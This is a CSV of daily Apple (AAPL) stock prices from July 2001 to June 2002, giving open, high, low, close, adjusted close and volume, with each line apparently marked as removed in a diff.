-2001-07-02,1.6885714530944824,1.7307143211364746,1.6528571844100952,1.7071428298950195,1.485386610031128,57512000.0,AAPL
-2001-07-03,1.6792857646942139,1.7271428108215332,1.6785714626312256,1.7028571367263794,1.48165762424469,28135800.0,AAPL
-2001-07-05,1.6857142448425293,1.697857141494751,1.643571376800537,1.656428575515747,1.4412600994110107,38073000.0,AAPL
-2001-07-06,1.6257143020629883,1.6399999856948853,1.5514285564422607,1.5735714435577393,1.3691657781600952,75730200.0,AAPL
-2001-07-09,1.5778571367263794,1.6428571939468384,1.5485714673995972,1.6214286088943481,1.41080641746521,84366800.0,AAPL
-2001-07-10,1.639285683631897,1.6478571891784668,1.4885714054107666,1.5099999904632568,1.3138521909713745,98817600.0,AAPL
-2001-07-11,1.5021429061889648,1.610714316368103,1.5,1.6100000143051147,1.400862693786621,117626600.0,AAPL
-2001-07-12,1.664285659790039,1.7721428871154785,1.664285659790039,1.7400000095367432,1.5139753818511963,153700400.0,AAPL
-2001-07-13,1.7235714197158813,1.7864285707473755,1.7028571367263794,1.774999976158142,1.5444291830062866,113685600.0,AAPL
-2001-07-16,1.777142882347107,1.7928571701049805,1.7078571319580078,1.7114285230636597,1.4891154766082764,69666800.0,AAPL
-2001-07-17,1.7128571271896362,1.8014285564422607,1.643571376800537,1.7928571701049805,1.5599664449691772,161957600.0,AAPL
-2001-07-18,1.5557142496109009,1.6271429061889648,1.458571434020996,1.4850000143051147,1.2920998334884644,284253200.0,AAPL
-2001-07-19,1.5164285898208618,1.5299999713897705,1.4107142686843872,1.4257142543792725,1.2405155897140503,215285000.0,AAPL
-2001-07-20,1.4071428775787354,1.4328571557998657,1.39214289188385,1.427142858505249,1.2417582273483276,111146000.0,AAPL
-2001-07-23,1.434999942779541,1.4642857313156128,1.393571376800537,1.395714282989502,1.2144123315811157,60340000.0,AAPL
-2001-07-24,1.3849999904632568,1.4228571653366089,1.3378571271896362,1.3635714054107666,1.186444640159607,87094000.0,AAPL
-2001-07-25,1.3657143115997314,1.3785713911056519,1.283571481704712,1.3192857503890991,1.147911548614502,110969600.0,AAPL
-2001-07-26,1.3200000524520874,1.3428571224212646,1.274999976158142,1.3278571367263794,1.1553698778152466,92285200.0,AAPL
-2001-07-27,1.3392857313156128,1.375,1.3214285373687744,1.354285717010498,1.178364872932434,83533800.0,AAPL
-2001-07-30,1.3657143115997314,1.382857084274292,1.3221428394317627,1.3521428108215332,1.176500678062439,60839800.0,AAPL
-2001-07-31,1.3764286041259766,1.3871428966522217,1.3221428394317627,1.3421428203582764,1.1677998304367065,58756600.0,AAPL
-2001-08-01,1.35785710811615,1.412857174873352,1.3535714149475098,1.3614286184310913,1.184580683708191,76034000.0,AAPL
-2001-08-02,1.4035714864730835,1.4192856550216675,1.3757143020629883,1.4157142639160156,1.2318140268325806,63022400.0,AAPL
-2001-08-03,1.420714259147644,1.4214285612106323,1.3571428060531616,1.3928571939468384,1.2119262218475342,46513600.0,AAPL
-2001-08-06,1.3600000143051147,1.4042856693267822,1.3571428060531616,1.3664286136627197,1.188930869102478,24913000.0,AAPL
-2001-08-07,1.3807142972946167,1.4049999713897705,1.3557143211364746,1.375,1.1963889598846436,42137200.0,AAPL
-2001-08-08,1.3757143020629883,1.4071428775787354,1.3242857456207275,1.350000023841858,1.1746363639831543,69042400.0,AAPL
-2001-08-09,1.354285717010498,1.3678570985794067,1.337142825126648,1.360714316368103,1.1839585304260254,50166200.0,AAPL
-2001-08-10,1.3600000143051147,1.3799999952316284,1.3278571367263794,1.3585714101791382,1.182094693183899,46740400.0,AAPL
-2001-08-13,1.3642857074737549,1.3807142972946167,1.340000033378601,1.3635714054107666,1.186444640159607,36999200.0,AAPL
-2001-08-14,1.3714286088943481,1.382857084274292,1.333571434020996,1.3378571271896362,1.1640708446502686,57237600.0,AAPL
-2001-08-15,1.340000033378601,1.3528571128845215,1.2999999523162842,1.3171428442001343,1.146047592163086,72319800.0,AAPL
-2001-08-16,1.3049999475479126,1.3392857313156128,1.283571481704712,1.3321428298950195,1.159098505973816,72023000.0,AAPL
-2001-08-17,1.2857142686843872,1.3178571462631226,1.284999966621399,1.2907142639160156,1.1230518817901611,52106600.0,AAPL
-2001-08-20,1.295714259147644,1.302142858505249,1.2721428871154785,1.2942856550216675,1.1261591911315918,63075600.0,AAPL
-2001-08-21,1.295714259147644,1.295714259147644,1.264285683631897,1.2799999713897705,1.1137293577194214,46425400.0,AAPL
-2001-08-22,1.281428575515747,1.3035714626312256,1.257857084274292,1.3007142543792725,1.1317527294158936,43493800.0,AAPL
-2001-08-23,1.2999999523162842,1.309999942779541,1.2557142972946167,1.2721428871154785,1.106892704963684,54269600.0,AAPL
-2001-08-24,1.2857142686843872,1.3300000429153442,1.2607142925262451,1.3264285326004028,1.1541268825531006,72583000.0,AAPL
-2001-08-27,1.3285714387893677,1.3785713911056519,1.2971428632736206,1.3514286279678345,1.175879716873169,43911000.0,AAPL
-2001-08-28,1.350000023841858,1.367142915725708,1.3142857551574707,1.3142857551574707,1.1435613632202148,42933800.0,AAPL
-2001-08-29,1.3171428442001343,1.3450000286102295,1.2735713720321655,1.2735713720321655,1.1081355810165405,59992800.0,AAPL
-2001-08-30,1.26714289188385,1.2985714673995972,1.2342857122421265,1.2735713720321655,1.1081355810165405,92173200.0,AAPL
-2001-08-31,1.2664285898208618,1.3285714387893677,1.2607142925262451,1.3250000476837158,1.1528836488723755,54226200.0,AAPL
-2001-09-04,1.3214285373687744,1.3628571033477783,1.2985714673995972,1.3035714626312256,1.134238839149475,87053400.0,AAPL
-2001-09-05,1.3028571605682373,1.3535714149475098,1.2942856550216675,1.3250000476837158,1.1528836488723755,90014400.0,AAPL
-2001-09-06,1.3142857551574707,1.3521428108215332,1.2607142925262451,1.2657142877578735,1.1012991666793823,70592200.0,AAPL
-2001-09-07,1.25,1.2928571701049805,1.2285714149475098,1.2342857122421265,1.0739532709121704,60457600.0,AAPL
-2001-09-10,1.2142857313156128,1.25,1.208571434020996,1.2407143115997314,1.0795468091964722,77211400.0,AAPL
-2001-09-17,1.1428571939468384,1.2192857265472412,1.1235713958740234,1.2135714292526245,1.0559297800064087,114501800.0,AAPL
-2001-09-18,1.2071428298950195,1.2657142877578735,1.1549999713897705,1.162857174873352,1.0118030309677124,81775400.0,AAPL
-2001-09-19,1.1785714626312256,1.2214285135269165,1.1142857074737549,1.2157143354415894,1.0577943325042725,93329600.0,AAPL
-2001-09-20,1.1635714769363403,1.210714340209961,1.1071428060531616,1.1200000047683716,0.9745131134986877,102793600.0,AAPL
-2001-09-21,1.0571428537368774,1.1607142686843872,1.0485714673995972,1.1235713958740234,0.9776201844215393,142629200.0,AAPL
-2001-09-24,1.1507142782211304,1.2028571367263794,1.139285683631897,1.1749999523162842,1.0223687887191772,73634400.0,AAPL
-2001-09-25,1.1528571844100952,1.158571481704712,1.0964285135269165,1.1100000143051147,0.9658122062683105,93601200.0,AAPL
-2001-09-26,1.1292856931686401,1.1349999904632568,1.066428542137146,1.0821428298950195,0.941573441028595,123449200.0,AAPL
-2001-09-27,1.0892857313156128,1.125,1.085714340209961,1.10785710811615,0.9639474749565125,80560200.0,AAPL
-2001-09-28,1.1221429109573364,1.1364285945892334,1.0992857217788696,1.10785710811615,0.9639474749565125,91277200.0,AAPL
-2001-10-01,1.106428623199463,1.14214289188385,1.0878571271896362,1.1100000143051147,0.9658122062683105,52052000.0,AAPL
-2001-10-02,1.1021428108215332,1.1307142972946167,1.0628571510314941,1.0750000476837158,0.9353584051132202,58970800.0,AAPL
-2001-10-03,1.0678571462631226,1.0971428155899048,1.0592857599258423,1.0700000524520874,0.931007981300354,170760800.0,AAPL
-2001-10-04,1.0964285135269165,1.1607142686843872,1.0707142353057861,1.1342856884002686,0.9869431257247925,100280600.0,AAPL
-2001-10-05,1.100000023841858,1.1535714864730835,1.0707142353057861,1.1528571844100952,1.0031020641326904,85671600.0,AAPL
-2001-10-08,1.11214280128479,1.1678571701049805,1.1071428060531616,1.1571428775787354,1.006831169128418,51996000.0,AAPL
-2001-10-09,1.1464285850524902,1.1571428775787354,1.1164286136627197,1.1428571939468384,0.9944009780883789,43506400.0,AAPL
-2001-10-10,1.149999976158142,1.2035714387893677,1.139285683631897,1.2014285326004028,1.0453641414642334,76939800.0,AAPL
-2001-10-11,1.208571434020996,1.26714289188385,1.2035714387893677,1.26714289188385,1.1025421619415283,83540800.0,AAPL
-2001-10-12,1.2364286184310913,1.291428565979004,1.204285740852356,1.2864285707473755,1.119322657585144,71953000.0,AAPL
-2001-10-15,1.2821428775787354,1.3128571510314941,1.2821428775787354,1.284999966621399,1.118079662322998,79688000.0,AAPL
-2001-10-16,1.2921428680419922,1.2999999523162842,1.2692856788635254,1.2864285707473755,1.119322657585144,50737400.0,AAPL
-2001-10-17,1.309999942779541,1.315000057220459,1.2114285230636597,1.2135714292526245,1.0559297800064087,71384600.0,AAPL
-2001-10-18,1.2350000143051147,1.302142858505249,1.2350000143051147,1.2857142686843872,1.1187011003494263,153143200.0,AAPL
-2001-10-19,1.281428575515747,1.3142857551574707,1.277142882347107,1.3071428537368774,1.1373462677001953,41697600.0,AAPL
-2001-10-22,1.3007142543792725,1.36214280128479,1.2921428680419922,1.3585714101791382,1.182094693183899,97984600.0,AAPL
-2001-10-23,1.3657143115997314,1.3871428966522217,1.2764285802841187,1.295714259147644,1.1274019479751587,171245200.0,AAPL
-2001-10-24,1.2899999618530273,1.3635714054107666,1.2678571939468384,1.3535714149475098,1.177743673324585,93606800.0,AAPL
-2001-10-25,1.3171428442001343,1.375,1.2971428632736206,1.3707143068313599,1.192659854888916,63737800.0,AAPL
-2001-10-26,1.3471428155899048,1.375,1.3300000429153442,1.333571434020996,1.1603418588638306,69741000.0,AAPL
-2001-10-29,1.3264285326004028,1.333571434020996,1.2571429014205933,1.2592856884002686,1.095705509185791,59795400.0,AAPL
-2001-10-30,1.2414286136627197,1.2857142686843872,1.218571424484253,1.2571429014205933,1.0938411951065063,69190800.0,AAPL
-2001-10-31,1.2664285898208618,1.3142857551574707,1.2457143068313599,1.2542856931686401,1.0913552045822144,68437600.0,AAPL
-2001-11-01,1.2607142925262451,1.341428518295288,1.2321428060531616,1.3278571367263794,1.1553698778152466,78248800.0,AAPL
-2001-11-02,1.322857141494751,1.3471428155899048,1.2971428632736206,1.3264285326004028,1.1541268825531006,49301000.0,AAPL
-2001-11-05,1.3457143306732178,1.375,1.329285740852356,1.36214280128479,1.185201644897461,58948400.0,AAPL
-2001-11-06,1.354285717010498,1.4014285802841187,1.3235714435577393,1.3978571891784668,1.2162768840789795,79004800.0,AAPL
-2001-11-07,1.3899999856948853,1.4378571510314941,1.3807142972946167,1.3992856740951538,1.217519760131836,95747400.0,AAPL
-2001-11-08,1.402142882347107,1.420714259147644,1.3264285326004028,1.3364285230636597,1.1628276109695435,85535800.0,AAPL
-2001-11-09,1.3285714387893677,1.375,1.3250000476837158,1.3364285230636597,1.1628276109695435,33573400.0,AAPL
-2001-11-12,1.3328571319580078,1.3692857027053833,1.2828571796417236,1.3392857313156128,1.165313959121704,50374800.0,AAPL
-2001-11-13,1.3628571033477783,1.3849999904632568,1.3364285230636597,1.3835713863372803,1.2038466930389404,56168000.0,AAPL
-2001-11-14,1.3992856740951538,1.4214285612106323,1.3678570985794067,1.4007142782211304,1.218762993812561,55287400.0,AAPL
-2001-11-15,1.389285683631897,1.4214285612106323,1.3735713958740234,1.389285683631897,1.2088185548782349,53257400.0,AAPL
-2001-11-16,1.3764286041259766,1.3778570890426636,1.3142857551574707,1.3550000190734863,1.1789871454238892,57666000.0,AAPL
-2001-11-19,1.3571428060531616,1.4321428537368774,1.354285717010498,1.4285714626312256,1.2430016994476318,83147400.0,AAPL
-2001-11-20,1.4157142639160156,1.4428571462631226,1.3928571939468384,1.3949999809265137,1.213790774345398,69146000.0,AAPL
-2001-11-21,1.4007142782211304,1.414285659790039,1.3757143020629883,1.4057142734527588,1.2231131792068481,50395800.0,AAPL
-2001-11-23,1.4078571796417236,1.4249999523162842,1.3978571891784668,1.4171428680419922,1.2330574989318848,15001000.0,AAPL
-2001-11-26,1.4242857694625854,1.539285659790039,1.4199999570846558,1.5264285802841187,1.3281469345092773,115172400.0,AAPL
-2001-11-27,1.514285683631897,1.5371428728103638,1.4642857313156128,1.5,1.305151343345642,67138400.0,AAPL
-2001-11-28,1.4892857074737549,1.5149999856948853,1.4578571319580078,1.466428518295288,1.2759408950805664,62652800.0,AAPL
-2001-11-29,1.4714285135269165,1.4785714149475098,1.4421428442001343,1.458571434020996,1.2691043615341187,50691200.0,AAPL
-2001-11-30,1.462142825126648,1.531428575515747,1.4464285373687744,1.5214285850524902,1.3237965106964111,75978000.0,AAPL
-2001-12-03,1.5042856931686401,1.5199999809265137,1.4714285135269165,1.5035713911056519,1.3082588911056519,45291400.0,AAPL
-2001-12-04,1.5035713911056519,1.6114286184310913,1.4800000190734863,1.600000023841858,1.3921616077423096,95104800.0,AAPL
-2001-12-05,1.5971428155899048,1.716428518295288,1.583571434020996,1.6971428394317627,1.4766857624053955,142144800.0,AAPL
-2001-12-06,1.677142858505249,1.6785714626312256,1.5814285278320312,1.6271429061889648,1.415778398513794,84733600.0,AAPL
-2001-12-07,1.604285717010498,1.6221429109573364,1.5714285373687744,1.6100000143051147,1.400862693786621,50878800.0,AAPL
-2001-12-10,1.5921428203582764,1.64214289188385,1.5878571271896362,1.6100000143051147,1.400862693786621,42502600.0,AAPL
-2001-12-11,1.6192857027053833,1.6321429014205933,1.5464285612106323,1.5557142496109009,1.3536285161972046,51368800.0,AAPL
-2001-12-12,1.5621428489685059,1.5657142400741577,1.5178571939468384,1.534999966621399,1.3356046676635742,48115200.0,AAPL
-2001-12-13,1.534999966621399,1.539285659790039,1.4642857313156128,1.5,1.305151343345642,49460600.0,AAPL
-2001-12-14,1.4807143211364746,1.4878571033477783,1.434999942779541,1.4564285278320312,1.2672399282455444,47471200.0,AAPL
-2001-12-17,1.4571428298950195,1.5,1.4421428442001343,1.472857117652893,1.2815343141555786,43428000.0,AAPL
-2001-12-18,1.492142915725708,1.5235713720321655,1.4442857503890991,1.5007143020629883,1.3057727813720703,58809800.0,AAPL
-2001-12-19,1.4700000286102295,1.5485714673995972,1.462142825126648,1.5442856550216675,1.343684196472168,72489200.0,AAPL
-2001-12-20,1.5285714864730835,1.533571481704712,1.472857117652893,1.4764286279678345,1.2846418619155884,55216000.0,AAPL
-2001-12-21,1.5007143020629883,1.5385714769363403,1.485714316368103,1.5,1.305151343345642,64083600.0,AAPL
-2001-12-24,1.4928570985794067,1.5321428775787354,1.4928570985794067,1.5257142782211304,1.32752525806427,12657400.0,AAPL
-2001-12-26,1.524999976158142,1.5928571224212646,1.5099999904632568,1.534999966621399,1.3356046676635742,36600200.0,AAPL
-2001-12-27,1.541428565979004,1.5892857313156128,1.541428565979004,1.5764285326004028,1.3716521263122559,47877200.0,AAPL
-2001-12-28,1.5692857503890991,1.6428571939468384,1.5685714483261108,1.6021428108215332,1.3940260410308838,74781000.0,AAPL
-2001-12-31,1.60785710811615,1.618571400642395,1.5592857599258423,1.5642857551574707,1.361086368560791,34445600.0,AAPL
-2002-01-02,1.5750000476837158,1.664285659790039,1.5685714483261108,1.664285659790039,1.4480966329574585,132374200.0,AAPL
-2002-01-03,1.6428571939468384,1.6964285373687744,1.6264286041259766,1.6842857599258423,1.4654990434646606,153001800.0,AAPL
-2002-01-04,1.6671428680419922,1.710714340209961,1.64214289188385,1.6921428442001343,1.4723351001739502,102494000.0,AAPL
-2002-01-07,1.6942857503890991,1.7142857313156128,1.625,1.6357142925262451,1.4232368469238281,111146000.0,AAPL
-2002-01-08,1.625,1.6464285850524902,1.604285717010498,1.6150000095367432,1.4052131175994873,112509600.0,AAPL
-2002-01-09,1.6285713911056519,1.63785719871521,1.5199999809265137,1.5464285612106323,1.3455485105514526,81958800.0,AAPL
-2002-01-10,1.5157142877578735,1.5328571796417236,1.4464285373687744,1.5164285898208618,1.3194459676742554,113184400.0,AAPL
-2002-01-11,1.5278571844100952,1.559999942779541,1.4714285135269165,1.5035713911056519,1.3082588911056519,87200400.0,AAPL
-2002-01-14,1.5007143020629883,1.5285714864730835,1.4928570985794067,1.5107142925262451,1.3144738674163818,103999000.0,AAPL
-2002-01-15,1.5228571891784668,1.5542857646942139,1.5149999856948853,1.5499999523162842,1.348656177520752,72580200.0,AAPL
-2002-01-16,1.5292856693267822,1.5292856693267822,1.4642857313156128,1.4842857122421265,1.2914783954620361,141723400.0,AAPL
-2002-01-17,1.5685714483261108,1.6242856979370117,1.5621428489685059,1.6057143211364746,1.3971331119537354,165144000.0,AAPL
-2002-01-18,1.5714285373687744,1.6142857074737549,1.5685714483261108,1.583571434020996,1.3778669834136963,84702800.0,AAPL
-2002-01-22,1.5907143354415894,1.597857117652893,1.558571457862854,1.558571457862854,1.3561146259307861,81828600.0,AAPL
-2002-01-23,1.5571428537368774,1.645714282989502,1.5421428680419922,1.6442856788635254,1.4306944608688354,110819800.0,AAPL
-2002-01-24,1.6364285945892334,1.6792857646942139,1.6357142925262451,1.6578571796417236,1.4425030946731567,86000600.0,AAPL
-2002-01-25,1.6349999904632568,1.6728571653366089,1.618571400642395,1.6607142686843872,1.4449890851974487,46478600.0,AAPL
-2002-01-28,1.6714285612106323,1.6821428537368774,1.6228570938110352,1.6621428728103638,1.4462320804595947,46611600.0,AAPL
-2002-01-29,1.658571481704712,1.6814285516738892,1.6321429014205933,1.6478571891784668,1.4338021278381348,60081000.0,AAPL
-2002-01-30,1.6478571891784668,1.7242857217788696,1.6385713815689087,1.7207143306732178,1.4971953630447388,117894000.0,AAPL
-2002-01-31,1.7257143259048462,1.7664285898208618,1.7221428155899048,1.7657142877578735,1.5363500118255615,117111400.0,AAPL
-2002-02-01,1.7385714054107666,1.7828571796417236,1.7385714054107666,1.743571400642395,1.5170831680297852,99576400.0,AAPL
-2002-02-04,1.73714280128479,1.822857141494751,1.7285714149475098,1.8107142448425293,1.575503945350647,130593400.0,AAPL
-2002-02-05,1.7921428680419922,1.8557143211364746,1.791428565979004,1.8178571462631226,1.5817196369171143,114221800.0,AAPL
-2002-02-06,1.8285714387893677,1.8557143211364746,1.725000023841858,1.7621428966522217,1.5332422256469727,149394000.0,AAPL
-2002-02-07,1.7607142925262451,1.8064285516738892,1.7200000286102295,1.735714316368103,1.510246753692627,86958200.0,AAPL
-2002-02-08,1.7428570985794067,1.7599999904632568,1.6692856550216675,1.716428518295288,1.4934660196304321,88832800.0,AAPL
-2002-02-11,1.7092857360839844,1.7857142686843872,1.6957142353057861,1.7842856645584106,1.5525085926055908,99650600.0,AAPL
-2002-02-12,1.7614285945892334,1.7885714769363403,1.7464286088943481,1.7649999856948853,1.5357282161712646,56070000.0,AAPL
-2002-02-13,1.7664285898208618,1.8028571605682373,1.7607142925262451,1.7864285707473755,1.5543729066848755,78218000.0,AAPL
-2002-02-14,1.789285659790039,1.802142858505249,1.7414286136627197,1.7571429014205933,1.5288915634155273,65042600.0,AAPL
-2002-02-15,1.7521429061889648,1.7842856645584106,1.7035714387893677,1.7071428298950195,1.485386610031128,65046800.0,AAPL
-2002-02-19,1.6971428394317627,1.7050000429153442,1.6057143211364746,1.6157143115997314,1.405834674835205,97564600.0,AAPL
-2002-02-20,1.6264286041259766,1.6571428775787354,1.5964285135269165,1.652142882347107,1.4375309944152832,71360800.0,AAPL
-2002-02-21,1.6371428966522217,1.6428571939468384,1.5321428775787354,1.5357142686843872,1.3362265825271606,111687800.0,AAPL
-2002-02-22,1.5471428632736206,1.639285683631897,1.5357142686843872,1.6242856979370117,1.413292407989502,101619000.0,AAPL
-2002-02-25,1.6321429014205933,1.7657142877578735,1.5971428155899048,1.7007142305374146,1.479792833328247,106712200.0,AAPL
-2002-02-26,1.7078571319580078,1.7407143115997314,1.6607142686843872,1.6907142400741577,1.4710919857025146,65032800.0,AAPL
-2002-02-27,1.7100000381469727,1.7321428060531616,1.4957143068313599,1.5685714483261108,1.364815592765808,257539800.0,AAPL
-2002-02-28,1.5821428298950195,1.6135714054107666,1.524999976158142,1.5499999523162842,1.348656177520752,114234400.0,AAPL
-2002-03-01,1.566428542137146,1.6785714626312256,1.558571457862854,1.6749999523162842,1.4574192762374878,87248000.0,AAPL
-2002-03-04,1.6614285707473755,1.7557142972946167,1.6257143020629883,1.7350000143051147,1.5096251964569092,87064600.0,AAPL
-2002-03-05,1.725000023841858,1.7450000047683716,1.6714285612106323,1.6807142496109009,1.4623910188674927,68675600.0,AAPL
-2002-03-06,1.677142858505249,1.7385714054107666,1.63785719871521,1.7192857265472412,1.4959521293640137,56551600.0,AAPL
-2002-03-07,1.718571424484253,1.7521429061889648,1.6864285469055176,1.7414286136627197,1.5152184963226318,64562400.0,AAPL
-2002-03-08,1.76714289188385,1.7921428680419922,1.735714316368103,1.7614285945892334,1.532620906829834,67443600.0,AAPL
-2002-03-11,1.7571429014205933,1.795714259147644,1.7214285135269165,1.7899999618530273,1.557480812072754,65696400.0,AAPL
-2002-03-12,1.7507143020629883,1.76714289188385,1.7214285135269165,1.7657142877578735,1.5363500118255615,63513800.0,AAPL
-2002-03-13,1.7407143115997314,1.774999976158142,1.725000023841858,1.7492856979370117,1.5220551490783691,50191400.0,AAPL
-2002-03-14,1.735714316368103,1.7571429014205933,1.7050000429153442,1.7450000047683716,1.5183260440826416,54324200.0,AAPL
-2002-03-15,1.7471429109573364,1.7828571796417236,1.7321428060531616,1.7821428775787354,1.5506441593170166,60225200.0,AAPL
-2002-03-18,1.7821428775787354,1.789285659790039,1.73714280128479,1.76714289188385,1.5375924110412598,76139000.0,AAPL
-2002-03-19,1.7635713815689087,1.8071428537368774,1.735714316368103,1.774999976158142,1.5444291830062866,60586400.0,AAPL
-2002-03-20,1.7614285945892334,1.795714259147644,1.75,1.7799999713897705,1.5487794876098633,73579800.0,AAPL
-2002-03-21,1.704285740852356,1.735714316368103,1.6614285707473755,1.7335714101791382,1.5083818435668945,154088200.0,AAPL
-2002-03-22,1.7300000190734863,1.7542856931686401,1.7050000429153442,1.7207143306732178,1.4971953630447388,50548400.0,AAPL
-2002-03-25,1.7192857265472412,1.7207143306732178,1.659999966621399,1.6678571701049805,1.4512040615081787,65707600.0,AAPL
-2002-03-26,1.6571428775787354,1.6885714530944824,1.6428571939468384,1.6757142543792725,1.4580405950546265,64460200.0,AAPL
-2002-03-27,1.6678571701049805,1.6942857503890991,1.6614285707473755,1.6764285564422607,1.4586620330810547,31925600.0,AAPL
-2002-03-28,1.6928571462631226,1.7057143449783325,1.6757142543792725,1.6907142400741577,1.4710919857025146,27113800.0,AAPL
-2002-04-01,1.6699999570846558,1.764285683631897,1.662857174873352,1.7471429109573364,1.5201905965805054,49761600.0,AAPL
-2002-04-02,1.7142857313156128,1.735714316368103,1.7050000429153442,1.7192857265472412,1.4959521293640137,50948800.0,AAPL
-2002-04-03,1.7178571224212646,1.7492856979370117,1.6857142448425293,1.6964285373687744,1.4760642051696777,53632600.0,AAPL
-2002-04-04,1.6907142400741577,1.789285659790039,1.6907142400741577,1.7785714864730835,1.5475367307662964,84624400.0,AAPL
-2002-04-05,1.7821428775787354,1.7992857694625854,1.7214285135269165,1.76714289188385,1.5375924110412598,69587000.0,AAPL
-2002-04-08,1.7257143259048462,1.76285719871521,1.6985714435577393,1.7542856931686401,1.5264058113098145,65378600.0,AAPL
-2002-04-09,1.756428599357605,1.7857142686843872,1.715000033378601,1.7214285135269165,1.4978166818618774,47882800.0,AAPL
-2002-04-10,1.729285717010498,1.7821428775787354,1.715000033378601,1.7614285945892334,1.532620906829834,56245000.0,AAPL
-2002-04-11,1.787857174873352,1.7999999523162842,1.7678571939468384,1.7757142782211304,1.5450506210327148,101813600.0,AAPL
-2002-04-12,1.7864285707473755,1.7978571653366089,1.7549999952316284,1.7899999618530273,1.557480812072754,80060400.0,AAPL
-2002-04-15,1.7899999618530273,1.7964285612106323,1.7714285850524902,1.7857142686843872,1.5537514686584473,74842600.0,AAPL
-2002-04-16,1.7964285612106323,1.856428623199463,1.7942856550216675,1.8385714292526245,1.5997426509857178,153644400.0,AAPL
-2002-04-17,1.8521428108215332,1.8692857027053833,1.8128571510314941,1.8650000095367432,1.6227383613586426,99062600.0,AAPL
-2002-04-18,1.8214285373687744,1.822857141494751,1.777142882347107,1.815000057220459,1.579233169555664,100427600.0,AAPL
-2002-04-19,1.8207142353057861,1.8207142353057861,1.7807142734527588,1.7842856645584106,1.5525085926055908,93851800.0,AAPL
-2002-04-22,1.7742856740951538,1.7807142734527588,1.7307143211364746,1.7521429061889648,1.5245411396026611,67356800.0,AAPL
-2002-04-23,1.7528570890426636,1.7699999809265137,1.7207143306732178,1.7321428060531616,1.5071392059326172,58367400.0,AAPL
-2002-04-24,1.735714316368103,1.75,1.691428542137146,1.697857141494751,1.477306842803955,35112000.0,AAPL
-2002-04-25,1.6828571557998657,1.7385714054107666,1.6821428537368774,1.722857117652893,1.4990594387054443,48550600.0,AAPL
-2002-04-26,1.7342857122421265,1.7407143115997314,1.6428571939468384,1.643571376800537,1.4300731420516968,76245400.0,AAPL
-2002-04-29,1.6542856693267822,1.718571424484253,1.6492856740951538,1.7114285230636597,1.4891154766082764,68072200.0,AAPL
-2002-04-30,1.7064285278320312,1.7414286136627197,1.6964285373687744,1.7335714101791382,1.5083818435668945,70240800.0,AAPL
-2002-05-01,1.7350000143051147,1.7350000143051147,1.6685714721679688,1.7128571271896362,1.4903589487075806,53676000.0,AAPL
-2002-05-02,1.7007142305374146,1.7385714054107666,1.6857142448425293,1.6921428442001343,1.4723351001739502,59836000.0,AAPL
-2002-05-03,1.683571457862854,1.7157143354415894,1.6735714673995972,1.6792857646942139,1.4611481428146362,57695400.0,AAPL
-2002-05-06,1.6678571701049805,1.6785714626312256,1.604285717010498,1.6178570985794067,1.4076988697052002,62416200.0,AAPL
-2002-05-07,1.6385713815689087,1.639285683631897,1.5814285278320312,1.6050000190734863,1.3965121507644653,60687200.0,AAPL
-2002-05-08,1.6571428775787354,1.7514286041259766,1.645714282989502,1.7407143115997314,1.5145974159240723,109170600.0,AAPL
-2002-05-09,1.7321428060531616,1.7392857074737549,1.7000000476837158,1.7278571128845215,1.5034102201461792,56154000.0,AAPL
-2002-05-10,1.7350000143051147,1.7350000143051147,1.6414285898208618,1.6657142639160156,1.4493396282196045,58849000.0,AAPL
-2002-05-13,1.6799999475479126,1.7207143306732178,1.6385713815689087,1.7100000381469727,1.48787260055542,66402000.0,AAPL
-2002-05-14,1.7464286088943481,1.8342857360839844,1.7300000190734863,1.829285740852356,1.5916633605957031,131626600.0,AAPL
-2002-05-15,1.8121428489685059,1.8557143211364746,1.7742856740951538,1.8057142496109009,1.5711535215377808,83956600.0,AAPL
-2002-05-16,1.7899999618530273,1.8178571462631226,1.7678571939468384,1.8007142543792725,1.5668033361434937,56763000.0,AAPL
-2002-05-17,1.8207142353057861,1.841428518295288,1.757857084274292,1.7864285707473755,1.5543729066848755,59123400.0,AAPL
-2002-05-20,1.7549999952316284,1.7807142734527588,1.7521429061889648,1.76714289188385,1.5375924110412598,67478600.0,AAPL
-2002-05-21,1.7735713720321655,1.7857142686843872,1.6714285612106323,1.6757142543792725,1.4580405950546265,70247800.0,AAPL
-2002-05-22,1.6692856550216675,1.7407143115997314,1.6657142639160156,1.73714280128479,1.511489987373352,72718800.0,AAPL
-2002-05-23,1.7464286088943481,1.8028571605682373,1.7192857265472412,1.7985714673995972,1.5649387836456299,92349600.0,AAPL
-2002-05-24,1.784999966621399,1.784999966621399,1.7114285230636597,1.725000023841858,1.5009243488311768,41543600.0,AAPL
-2002-05-28,1.6921428442001343,1.7285714149475098,1.6735714673995972,1.7128571271896362,1.4903589487075806,37429000.0,AAPL
-2002-05-29,1.708571434020996,1.7457143068313599,1.6749999523162842,1.7128571271896362,1.4903589487075806,55448400.0,AAPL
-2002-05-30,1.697857141494751,1.7414286136627197,1.6792857646942139,1.7285714149475098,1.504031777381897,49093800.0,AAPL
-2002-05-31,1.7207143306732178,1.7321428060531616,1.662857174873352,1.664285659790039,1.4480966329574585,91373800.0,AAPL
-2002-06-03,1.670714259147644,1.6749999523162842,1.6128571033477783,1.6364285945892334,1.4238580465316772,58777600.0,AAPL
-2002-06-04,1.6342856884002686,1.645714282989502,1.5842857360839844,1.6271429061889648,1.415778398513794,86955400.0,AAPL
-2002-06-05,1.6307142972946167,1.6307142972946167,1.5964285135269165,1.6228570938110352,1.4120495319366455,69270600.0,AAPL
-2002-06-06,1.6399999856948853,1.6592856645584106,1.5742857456207275,1.5828571319580078,1.3772454261779785,64999200.0,AAPL
-2002-06-07,1.5542857646942139,1.5671428442001343,1.4950000047683716,1.5285714864730835,1.3300111293792725,153094200.0,AAPL
-2002-06-10,1.5342856645584106,1.559999942779541,1.5242856740951538,1.5342856645584106,1.3349833488464355,69393800.0,AAPL
-2002-06-11,1.545714259147644,1.5499999523162842,1.4578571319580078,1.4614285230636597,1.2715904712677002,87374000.0,AAPL
-2002-06-12,1.4578571319580078,1.4821428060531616,1.4242857694625854,1.434999942779541,1.2485947608947754,132179600.0,AAPL
-2002-06-13,1.4299999475479126,1.4321428537368774,1.3842856884002686,1.395714282989502,1.2144123315811157,88020800.0,AAPL
-2002-06-14,1.3742856979370117,1.454285740852356,1.2935714721679688,1.4357142448425293,1.2492159605026245,106225000.0,AAPL
-2002-06-17,1.4457142353057861,1.4735714197158813,1.4178571701049805,1.4671428203582764,1.2765624523162842,81152400.0,AAPL
-2002-06-18,1.458571434020996,1.4707143306732178,1.427142858505249,1.4392857551574707,1.2523239850997925,88340000.0,AAPL
